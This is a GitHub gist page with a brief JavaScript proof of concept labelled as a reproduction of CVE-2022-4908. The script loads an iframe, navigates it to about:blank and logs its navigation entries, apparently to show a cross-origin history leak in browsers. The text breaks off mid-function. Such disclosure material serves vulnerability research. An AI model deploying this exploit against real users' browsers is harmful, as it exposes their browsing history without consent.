Skip to content

Instantly share code, notes, and snippets.

View deryilz's full-sized avatar

Derin Eryilmaz deryilz

View GitHub Profile
@deryilz
deryilz / gist:eb46b3ed9e35fc48651d4e1583433042
Created October 10, 2023 01:14
CVE-2022-4908 repro for twitter
let x=document.createElement('iframe')
x.src='https://example.com'
document.body.appendChild(x)
setTimeout(()=>{
x.contentWindow.location.href='about:blank'
}, 1000)
setTimeout(()=>{
console.log(x.contentWindow.navigation.entries())